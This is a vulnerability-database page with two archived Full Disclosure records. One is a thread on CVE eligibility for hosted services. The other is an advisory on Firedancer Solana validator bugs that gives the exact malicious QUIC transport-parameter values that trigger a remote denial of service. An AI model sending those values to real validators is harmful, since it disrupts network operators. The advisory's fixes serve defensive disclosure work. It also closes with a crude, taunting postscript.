Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Summary
Dear Art,
Thank you for sharing your detailed evaluation and for pointing out the relevant
sections of the CNA Rules.
Your argument is well reasoned, particularly with respect to the current
guidance on SaaS and exclusively hosted services.
I have forwarded your evaluation to the CNA for further consideration. It will
also be important to understand the vendor’s perspective in light of the points
you raised, especially regarding the applicability of the
“exclusively-hosted-service” tag and the removal of prior restrictions.
We look forward to receive transparent feedback from the CNA and/or the vendor.
To date, the vendor has remained silent with regard to informing their users
about the reported issues. As far as we can determine, no public advisory or
user-facing communication has been issued via their vulnerability reporting
channel () or elsewhere.
Best regards,
Yuffie
On Tue, Jan 20, 2026 at 7:26 PM <> wrote:
Hi,
the vulnerabilities are no longer considered eligible for CVE tracking,
despite being real, independently discovered, responsibly disclosed, and
acknowledged by the vendor.
CVE IDs *can* be assigned for SaaS or similarly "cloud only" software. For a
period of time, there was a restriction that only the provider could make or
request such an assignment. But the current CVE rules remove this restriction:
4.2.3 CNAs MUST NOT consider the type of technology (e.g., cloud, on-premises,
artificial intelligence, machine learning) as the sole basis for determining
assignment.
It would have been acceptable (even preferred) to leave CVE-2025-34411 and
CVE-2025-34412 published and identify them as affecting an
"exclusively-hosted-service:"
5.1.11.1 (A CVE Record) MUST use the “exclusively-hosted-service” tag when all
known Products listed in the CVE Record exist only as fully hosted services.
If the Vulnerability affects both hosted services and on-premises Products,
then this tag MUST NOT be used.
Rules: https://www.cve.org/resourcessupport/allresources/cnarules
Regards,
- Art
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
Relationships
reference
GCVE-1988-2026-0213 (this record)
- related CVE-2025-34411
- related CVE-2025-34412
{
"containers": {
"cna": {
"affected": [
{
"product": "unknown",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Yuffie Kisaragi via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Dear Art,\n\n\n\n\nThank you for sharing your detailed evaluation and for pointing out the relevant\nsections of the CNA Rules.\n\n\n\n\nYour argument is well reasoned, particularly with respect to the current\nguidance on SaaS and exclusively hosted services.\n\n\n\n\nI have forwarded your evaluation to the CNA for further consideration. It will\nalso be important to understand the vendor\u2019s perspective in light of the points\nyou raised, especially regarding the applicability of the\n\u201cexclusively-hosted-service\u201d tag and the removal of prior restrictions.\n\n\n\nWe look forward to receive transparent\u00a0feedback from the CNA and/or the vendor.\n\n\nTo date, the vendor has remained silent with regard to informing their users\nabout the reported issues. As far as we can determine, no public advisory or\nuser-facing communication has been issued via their vulnerability reporting\nchannel () or elsewhere.\n\n\nBest regards,\n\n\nYuffie\n\n\nOn Tue, Jan 20, 2026 at 7:26 PM \u003c\u003e wrote:\n\nHi,\n\nthe vulnerabilities are no longer considered eligible for CVE tracking,\ndespite being real, independently discovered, responsibly disclosed, and\nacknowledged by the vendor.\nCVE IDs *can* be assigned for SaaS or similarly \"cloud only\" software. For a\nperiod of time, there was a restriction that only the provider could make or\nrequest such an assignment. But the current CVE rules remove this restriction:\n\n4.2.3 CNAs MUST NOT consider the type of technology (e.g., cloud, on-premises,\nartificial intelligence, machine learning) as the sole basis for determining\nassignment.\n\nIt would have been acceptable (even preferred) to leave CVE-2025-34411 and\nCVE-2025-34412 published and identify them as affecting an\n\"exclusively-hosted-service:\"\n\n5.1.11.1 (A CVE Record) MUST use the \u201cexclusively-hosted-service\u201d tag when all\nknown Products listed in the CVE Record exist only as fully hosted services.\nIf the Vulnerability affects both hosted services and on-premises Products,\nthen this tag MUST NOT be used.\n\nRules: https://www.cve.org/resourcessupport/allresources/cnarules\n\nRegards,\n\n- Art\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:57:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/26"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/26"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.cve.org/resourcessupport/allresources/cnarules"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/26"
],
"discovery": "EXTERNAL"
},
"title": "Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2025-34411",
"type": "related"
},
{
"destId": "CVE-2025-34412",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0213",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/26",
"automated": true,
"contentSha256": "16fb8f39abc59017249ab13d2d1e6c8331ea6508a7c71d74660b4fc553dabf06",
"evidenceScore": 5,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/26",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-20T17:13:27Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0213"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:42Z",
"dateUpdated": "2026-09-08T07:57:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0213"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0212
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Firedancer Solana Validator - QUIC Transport Parameter UB and Consensus-Splitting Cast Bug
Summary
1. SUMMARY
Two independently confirmed vulnerabilities in Jump Crypto's Firedancer
Solana validator (https://github.com/firedancer-io/firedancer, commit
7cd3b6dce):
A) Three undefined behavior / logic bugs in QUIC transport parameter
processing, triggerable by a malicious QUIC server with zero
authentication. Enables remote connection kill or hang.
B) Incorrect Rust saturating cast emulation that returns ULONG_MAX
instead of 0 for negative infinity, diverging from Agave's behavior
in rent and stake calculations. Potential consensus split.
Both bugs were confirmed with UBSAN stack traces against the real
compiled Firedancer source code and, for (B), cross-verified against
rustc output.
2. BUG A: QUIC TRANSPORT PARAMETER UNDEFINED BEHAVIOR
Affected file: src/waltz/quic/fd_quic.c
Function: fd_quic_apply_peer_params (line 2667)
Entry point: fd_quic_tls_cb_peer_params (line 2738), called during
TLS handshake -- no authentication required.
Three bugs, all triggered from a single malicious TLS handshake:
--- A1: Signed integer overflow (line 2713) ---
long peer_max_idle_timeout_ns = (long)peer_tp->max_idle_timeout_ms * (long)1e6;
max_idle_timeout_ms is a ulong decoded from a QUIC VARINT (max 2^62-1).
Cast to signed long, then multiplied by 1e6. For values above
LONG_MAX/1e6 (~9.22e12), this is signed integer overflow -- undefined
behavior per C11 6.5/5.
UBSAN output:
src/waltz/quic/fd_quic.c:2713:72: runtime error: signed integer
overflow: 9223372036855 * 1000000 cannot be represented in type 'long'
#0 in fd_quic_apply_peer_params fd_quic.c:2713
In practice, the result wraps negative. fd_long_min then selects this
negative value as the idle timeout, causing immediate connection death.
--- A2: Shift exponent too large (line 2724) ---
conn->peer_ack_delay_scale = (float)( 1UL << peer_ack_delay_exponent ) * 1e3f;
RFC 9000 Section 18.2: "Values above 20 are invalid." No validation is
performed. For exponent >= 64, this is undefined behavior (shift amount
= width of unsigned long). For 20 < exponent < 64, the scale becomes
absurdly large (e.g., 4.6e+21 for exponent=62), corrupting all RTT
estimation and loss detection.
UBSAN output:
src/waltz/quic/fd_quic.c:2724:45: runtime error: shift exponent 64
is too large for 64-bit type 'unsigned long'
#0 in fd_quic_apply_peer_params fd_quic.c:2724
--- A3: Unsigned overflow in max_ack_delay (line 2730) ---
peer_tp->max_ack_delay * 1000UL
RFC 9000 Section 18.2: "Values of 2^14 or greater are invalid." No
validation is performed. For large VARINT values, the multiplication
wraps. The result, cast to float, produces a value on the order of 1e22
nanoseconds. This propagates to PTO calculation (fd_quic_private.h:429),
making the probe timeout effectively infinite. The client never
retransmits.
--- Combined impact ---
A malicious QUIC server sends these transport parameters in one TLS
handshake:
max_idle_timeout = 9223372036855 ms
ack_delay_exponent = 64
max_ack_delay = 2^62 - 1 ms
Result: the Firedancer QUIC client's connection is immediately killed
(A1), its RTT estimation is destroyed (A2), and it will never
retransmit (A3). This is a zero-interaction remote DoS requiring no
authentication.
--- Fix ---
Validate per RFC 9000 Section 18.2 before use:
- Reject ack_delay_exponent > 20 as TRANSPORT_PARAMETER_ERROR
- Reject max_ack_delay >= 2^14 as TRANSPORT_PARAMETER_ERROR
- Use unsigned arithmetic or clamp max_idle_timeout_ms before
multiplying by 1e6
3. BUG B: fd_rust_cast_double_to_ulong RETURNS ULONG_MAX FOR -INFINITY
Affected file: src/flamenco/types/fd_cast.h
Function: fd_rust_cast_double_to_ulong (line 21)
The function's own documentation (line 17-18) states:
"Saturate to 0 if the value is negative or NaN."
The implementation checks for infinity (bexp == 0x7FF, mant == 0) at
line 24 and returns ULONG_MAX at line 27 without checking the sign bit.
Both +inf and -inf hit this path. The sign check at line 35 is dead code
for -inf because the function already returned.
Firedancer: fd_rust_cast_double_to_ulong(-INFINITY) = 18446744073709551615
Rust (1.45+): (-f64::INFINITY as u64) = 0
Cross-verified by compiling and running the equivalent Rust program.
The existing test (test_cast.c:17) encodes the incorrect behavior:
FD_TEST( fd_rust_cast_double_to_ulong( ninf ) == ULONG_MAX );
This function is used in:
- fd_sysvar_rent1.c:12 (rent exempt minimum balance)
- fd_stake_program.c:551 (stake warmup)
- fd_stake_program.c:636 (stake cooldown)
- fd_runtime.c:525 (rent calculation)
Current call sites use non-negative intermediates, so -infinity is
unlikely to occur today. However, the function's contract is violated
and any future call site producing a negative-infinity intermediate
would cause a consensus split between Firedancer and Agave.
--- Fix ---
In the infinity branch (line 26-27), check the sign bit:
if( fd_dblbits_mant( u )==0 ) {
return fd_dblbits_sign( u ) ? 0UL : ULONG_MAX;
}
Update test_cast.c:17 to assert the correct result:
FD_TEST( fd_rust_cast_double_to_ulong( ninf ) == 0 );
4. TIMELINE
2025-02-07 Bugs identified and POCs developed
2025-02-07 Attempted disclosure to Immunefi; unable to validate researcher identity
2025-02-08 Attempted disclosure to Immunefi; unable to validate researcher identity
2025-02-09 Attempted disclosure to Immunefi; unable to validate researcher identity
2025-02-09 Agent Spooky votes on Full Disclosure; measure passes unanimously.
2025-02-10 Full Disclosure happens.
5. CREDIT
AGENT SPOOKY AND YOUR MOM
Cheers!
Agent Spooky's Fun Parade
P.S. SHOUT OUT TO IMMUNEFI FOR BEING YOUR TYPICAL RUN OF THE MILL CRYPTO BRO HUSTLERS AKA PUNK ASS BITCHES.
WE WON'T FORGIVE. WE WON'T FORGET. ALL YOUR CRYPTO ARE BELONG TO US.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Feb/14 | technical-description |
| https://github.com/firedancer-io/firedancer | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Firedancer Solana Validator |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Firedancer Solana Validator",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "1. SUMMARY\n\nTwo independently confirmed vulnerabilities in Jump Crypto\u0027s Firedancer\nSolana validator (https://github.com/firedancer-io/firedancer, commit\n7cd3b6dce):\n\n A) Three undefined behavior / logic bugs in QUIC transport parameter\n processing, triggerable by a malicious QUIC server with zero\n authentication. Enables remote connection kill or hang.\n\n B) Incorrect Rust saturating cast emulation that returns ULONG_MAX\n instead of 0 for negative infinity, diverging from Agave\u0027s behavior\n in rent and stake calculations. Potential consensus split.\n\nBoth bugs were confirmed with UBSAN stack traces against the real\ncompiled Firedancer source code and, for (B), cross-verified against\nrustc output.\n\n\n2. BUG A: QUIC TRANSPORT PARAMETER UNDEFINED BEHAVIOR\n\nAffected file: src/waltz/quic/fd_quic.c\nFunction: fd_quic_apply_peer_params (line 2667)\nEntry point: fd_quic_tls_cb_peer_params (line 2738), called during\n TLS handshake -- no authentication required.\n\nThree bugs, all triggered from a single malicious TLS handshake:\n\n--- A1: Signed integer overflow (line 2713) ---\n\n long peer_max_idle_timeout_ns = (long)peer_tp-\u003emax_idle_timeout_ms * (long)1e6;\n\nmax_idle_timeout_ms is a ulong decoded from a QUIC VARINT (max 2^62-1).\nCast to signed long, then multiplied by 1e6. For values above\nLONG_MAX/1e6 (~9.22e12), this is signed integer overflow -- undefined\nbehavior per C11 6.5/5.\n\nUBSAN output:\n\n src/waltz/quic/fd_quic.c:2713:72: runtime error: signed integer\n overflow: 9223372036855 * 1000000 cannot be represented in type \u0027long\u0027\n #0 in fd_quic_apply_peer_params fd_quic.c:2713\n\nIn practice, the result wraps negative. fd_long_min then selects this\nnegative value as the idle timeout, causing immediate connection death.\n\n--- A2: Shift exponent too large (line 2724) ---\n\n conn-\u003epeer_ack_delay_scale = (float)( 1UL \u003c\u003c peer_ack_delay_exponent ) * 1e3f;\n\nRFC 9000 Section 18.2: \"Values above 20 are invalid.\" No validation is\nperformed. For exponent \u003e= 64, this is undefined behavior (shift amount\n= width of unsigned long). For 20 \u003c exponent \u003c 64, the scale becomes\nabsurdly large (e.g., 4.6e+21 for exponent=62), corrupting all RTT\nestimation and loss detection.\n\nUBSAN output:\n\n src/waltz/quic/fd_quic.c:2724:45: runtime error: shift exponent 64\n is too large for 64-bit type \u0027unsigned long\u0027\n #0 in fd_quic_apply_peer_params fd_quic.c:2724\n\n--- A3: Unsigned overflow in max_ack_delay (line 2730) ---\n\n peer_tp-\u003emax_ack_delay * 1000UL\n\nRFC 9000 Section 18.2: \"Values of 2^14 or greater are invalid.\" No\nvalidation is performed. For large VARINT values, the multiplication\nwraps. The result, cast to float, produces a value on the order of 1e22\nnanoseconds. This propagates to PTO calculation (fd_quic_private.h:429),\nmaking the probe timeout effectively infinite. The client never\nretransmits.\n\n--- Combined impact ---\n\nA malicious QUIC server sends these transport parameters in one TLS\nhandshake:\n\n max_idle_timeout = 9223372036855 ms\n ack_delay_exponent = 64\n max_ack_delay = 2^62 - 1 ms\n\nResult: the Firedancer QUIC client\u0027s connection is immediately killed\n(A1), its RTT estimation is destroyed (A2), and it will never\nretransmit (A3). This is a zero-interaction remote DoS requiring no\nauthentication.\n\n--- Fix ---\n\nValidate per RFC 9000 Section 18.2 before use:\n - Reject ack_delay_exponent \u003e 20 as TRANSPORT_PARAMETER_ERROR\n - Reject max_ack_delay \u003e= 2^14 as TRANSPORT_PARAMETER_ERROR\n - Use unsigned arithmetic or clamp max_idle_timeout_ms before\n multiplying by 1e6\n\n\n3. BUG B: fd_rust_cast_double_to_ulong RETURNS ULONG_MAX FOR -INFINITY\n\nAffected file: src/flamenco/types/fd_cast.h\nFunction: fd_rust_cast_double_to_ulong (line 21)\n\nThe function\u0027s own documentation (line 17-18) states:\n \"Saturate to 0 if the value is negative or NaN.\"\n\nThe implementation checks for infinity (bexp == 0x7FF, mant == 0) at\nline 24 and returns ULONG_MAX at line 27 without checking the sign bit.\nBoth +inf and -inf hit this path. The sign check at line 35 is dead code\nfor -inf because the function already returned.\n\nFiredancer: fd_rust_cast_double_to_ulong(-INFINITY) = 18446744073709551615\nRust (1.45+): (-f64::INFINITY as u64) = 0\n\nCross-verified by compiling and running the equivalent Rust program.\n\nThe existing test (test_cast.c:17) encodes the incorrect behavior:\n FD_TEST( fd_rust_cast_double_to_ulong( ninf ) == ULONG_MAX );\n\nThis function is used in:\n - fd_sysvar_rent1.c:12 (rent exempt minimum balance)\n - fd_stake_program.c:551 (stake warmup)\n - fd_stake_program.c:636 (stake cooldown)\n - fd_runtime.c:525 (rent calculation)\n\nCurrent call sites use non-negative intermediates, so -infinity is\nunlikely to occur today. However, the function\u0027s contract is violated\nand any future call site producing a negative-infinity intermediate\nwould cause a consensus split between Firedancer and Agave.\n\n--- Fix ---\n\nIn the infinity branch (line 26-27), check the sign bit:\n\n if( fd_dblbits_mant( u )==0 ) {\n return fd_dblbits_sign( u ) ? 0UL : ULONG_MAX;\n }\n\nUpdate test_cast.c:17 to assert the correct result:\n FD_TEST( fd_rust_cast_double_to_ulong( ninf ) == 0 );\n\n\n4. TIMELINE\n\n2025-02-07 Bugs identified and POCs developed\n2025-02-07 Attempted disclosure to Immunefi; unable to validate researcher identity\n2025-02-08 Attempted disclosure to Immunefi; unable to validate researcher identity\n2025-02-09 Attempted disclosure to Immunefi; unable to validate researcher identity\n2025-02-09 Agent Spooky votes on Full Disclosure; measure passes unanimously.\n2025-02-10 Full Disclosure happens.\n\n\n5. CREDIT\n\nAGENT SPOOKY AND YOUR MOM\n\n\nCheers!\n\nAgent Spooky\u0027s Fun Parade\n\n\nP.S.\u00a0SHOUT OUT TO IMMUNEFI FOR BEING YOUR TYPICAL RUN OF THE MILL CRYPTO BRO HUSTLERS AKA PUNK ASS BITCHES. \nWE WON\u0027T FORGIVE. WE WON\u0027T FORGET. ALL YOUR CRYPTO ARE BELONG TO US.\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:57:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/14"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Feb/14"
},
{
"url": "https://github.com/firedancer-io/firedancer"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Feb/14"
],
"discovery": "EXTERNAL"
},
"title": "Firedancer Solana Validator - QUIC Transport Parameter UB and Consensus-Splitting Cast Bug",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0212",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/14",
"automated": true,
"contentSha256": "5900a228e970ba89ba3fc5395d8c927ecc2f91af3330a85946660f3c81d91aaf",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/14",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-10T16:08:58Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:42Z",
"dateUpdated": "2026-09-08T07:57:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0212"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 511 - 520 publications in total 581